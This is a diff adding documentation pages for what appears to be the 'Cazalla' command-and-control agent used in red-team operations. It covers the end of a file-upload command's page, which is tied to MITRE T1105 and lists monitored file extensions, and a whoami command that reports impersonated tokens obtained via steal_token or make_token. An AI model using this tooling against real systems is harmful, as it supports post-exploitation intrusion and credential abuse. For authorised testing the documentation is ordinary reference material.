+- Uploads to sensitive locations may trigger alerts
+- Suspicious file extensions (.exe, .dll, .ps1, .bat, .vbs) are monitored
+- File write artifacts are automatically tracked
+
+## Related
+
+[File Uploads Support](../../../features.md#file-uploads-support)
+
+---
+
+**Command Category:** File System  
+**Requires Admin:** No  
+**MITRE ATT&CK:** [T1105 - Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105/)

documentation-payload/Cazalla/commands/whoami.md

@@ -0,0 +1,42 @@
+# whoami - Display Current Context
+
+Display the current security context of the agent.
+
+## Description
+
+The `whoami` command displays the current security context of the agent. Shows the username and domain of the active security token. If token impersonation is active, displays the impersonated user context.
+
+## Syntax
+
+```
+whoami
+```
+
+## Examples
+
+```
+whoami
+```
+
+## Features
+
+- Shows the username and domain of the active security token
+- If token impersonation is active (via `steal_token` or `make_token`), displays the impersonated user context
+- Otherwise, displays the process token context
+- Useful for verifying that token operations succeeded and for confirming the current privilege level before executing commands that require specific permissions
+
+## Output
+
+```
+Current user: DOMAIN\User01
+Domain: DOMAIN
+```
+
+## Related
+
+[Token Support](../../../features.md#token-support), [Context Tracking](../../../features.md#context-tracking)
+
+---
+
+**Command Category:** Token Operations  
+**Requires Admin:** No